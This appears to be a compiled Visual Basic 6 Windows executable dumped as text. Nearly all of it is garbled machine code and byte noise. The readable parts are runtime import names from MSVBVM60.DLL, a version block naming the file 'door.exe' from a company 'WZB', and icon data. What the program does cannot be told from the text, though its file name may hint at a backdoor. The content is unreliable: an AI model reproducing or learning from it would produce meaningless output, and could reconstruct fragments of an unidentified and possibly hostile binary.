5@WjEjMPQPh@USRP@hˉpDžh@EMPQj@h@WjUjERPPh@MSQP@hˉph@UERPj@h@5@h@jjjSjh @@jp@(Dž0@(@h@jjj֋5@=8@j@fjMQ@U؋@jRh(@jӅsEjPhH@jӅ\M@h\@fQhRӋЍMP׋ЍMPhp@׋ЍM֍EMPQj@U؃R @@f ((0PQRPUQRD@hU܍EQRDžpDžh0Dž(@@P(XPQd@URh@׋ЍMPXMPQ@P0@PӋЍMP׋ЍMPh@׋ЍM֍UERMPUQRj@XhPQj$@ MRPQ@Uh@fBhPӋЍMP׋ЍMPh@׋ЍM֋MPQ׋ЍMPh@׋ЍMPh@׋ЍM֋UPfBhPӋЍMP׋ЍM֍MUQERMPUQERMPQj@] fShffSh]Mظ4((ShRPDž0@ @PXQR@Ћ@XhPQj$@p@h@jjj@Sjh @@jp@(hDž0@Dž(@hR|@h@h@jjj@Sjh @@jp@(Dž0@Dž(@EP|PRP@URP}hh@QP<@EhEpDžh@|@h@EhQSP}Uhh@RP<@h@h@h@jjj@Sjh @@jp@(Dž0@Dž(@h@jjj@j@fjV@EPӋMjQh@j@~UjRӋE؋MPQ׋ЍM֋U؋@jRh(@jӅEjPhH@jӅjM@h\@fQhRӋЍMP׋ЍMPhp@׋ЍM֍EMPQj@U؃R @@f ((0PQRPUQRD@hU܍EQRDžpDžh0Dž(@@P(XPQd@URh@׋ЍMPXMPQ@P0@PӋЍMP׋ЍMPh@׋ЍM֍UERMPUQRj@XhPQj$@ MRPQ@Uh@fBhPӋЍMP׋ЍMPh@׋ЍM֋MPQ׋ЍMPh@׋ЍMPh@׋ЍM֋UPfBhPӋЍMP׋ЍM֍MUQERMPUQERMPQj@] MfShfAfSh@@]Mظ4((ShRPDž0@ @PXQR@Ћ@XhPQj$@5p@h@jjW@Sjh @@j֋5@(hDž0@(֍hR|@h@
@PX8HDž X@֍(hDž0 @(֍8HPXQRhjPT@8HQXRhPQj$@35@@
PX8HDž X@֍(hDž0x@(֍8HRXPQhWRT@8HPXQhRPj$@}hAbMUQERMPUQERMPQj@x|RPj,@8HQXRhPQj$@@ÍRPQRj$@5@M֋=@M׍M׍M֍M׍M֍MËEPQEM_^d
[]@Uh@dPd%SVWeEX@uƃEVuQ3V]]]ԉ]ĉ]]]]PEPP@URW;}hh@WP<@E~DUԋω]EE@M@M@MQWV;}hh@VP<@Uԋ@M@h@jjj@Wjh @@jp@5@M
MUMĉEEEX@}֍UME@}֍UERMPQUSRT@EMPUQERPj$@]h
A.M@M@MUQERMPQj$@ËEPREM_^d
[]3Uh@dPd%SVWeEh@uƃEVuQ3V]]]ԉ]ĉ]]]]PEPP@URW;}hh@WP<@U~d@M@M@MԍUQRV}E@;}hh@VP<@EP@ЍM@Ћ@M@M@h@jjj@Qjh(@@jp@5@M
MUMĉEEEX@}֍UME0@}֍UERMPQUSRT@EMPUQERPj$@]hFA.M@M@MUQERMPQj$@ËEPREM_^d
[]





"4HXl|QRSx"6DVjx*<JTjz;d*4DT^hzMSVBVM60.DLL__vbaStrI2_CIcos_adj_fptan__vbaVarMove__vbaVarVargNofree__vbaFreeVar__vbaStrVarMove__vbaLineInputStr__vbaLenBstr__vbaFreeVarList_adj_fdiv_m64__vbaFreeObjList_adj_fprem1__vbaStrCat__vbaHresultCheckObj_adj_fdiv_m32__vbaVarForInit__vbaObjSet_adj_fdiv_m16i_adj_fdivr_m16i_CIsin__vbaVargVarMove__vbaChkstk__vbaFileCloseEVENT_SINK_AddRef__vbaStrCmp__vbaI2I4_adj_fpatanEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler__vbaPrintFile_adj_fprem_adj_fdivr_m64__vbaFPException__vbaStrVarVal__vbaVarCat_CIlog__vbaErrorOverflow__vbaFileOpen__vbaInStr_adj_fdiv_m32i_adj_fdivr_m32i__vbaStrCopy__vbaFreeStrList_adj_fdivr_m32_adj_fdiv_r__vbaI4Var__vbaVarAdd__vbaVarDup__vbaVarCopy_CIatan__vbaStrMove__vbaR8IntI4_allmul_CItan__vbaVarForNext_CIexp__vbaFreeStr__vbaFreeObjeDAX@(eDAxeDAeDA1u2ueDAeDAeDAeDA 13$43h84VS_VERSION_INFODVarFileInfo$TranslationPStringFileInfo,080404B0(CompanyNameWZB(ProductName]z1,
FileVersion1.000
ProductVersion1.00,
InternalNamedoor<OriginalFilenamedoor.exe  1uh2u( @ʦ""")))UUUMMMBBB999|PP3f3333f333ff3fffff3f3f̙f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3̙33333f333ff3ffffff3f33f3ff3f3f3ffff3fffffffff3fffffff3f̙ffff3ff333f3ff33fff33f3ff̙3f3f3333f333ff3fffff̙̙3̙f̙̙̙3f̙3f3f3333f333ff3fffff3f3f̙3ffffffffff!___www888888888---88888---,,,,88--,,,,,8--n,,,,,&-,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'( @UU_U_*UUU?*UU?































		








							









						


						

					
				
						
	


































































































































?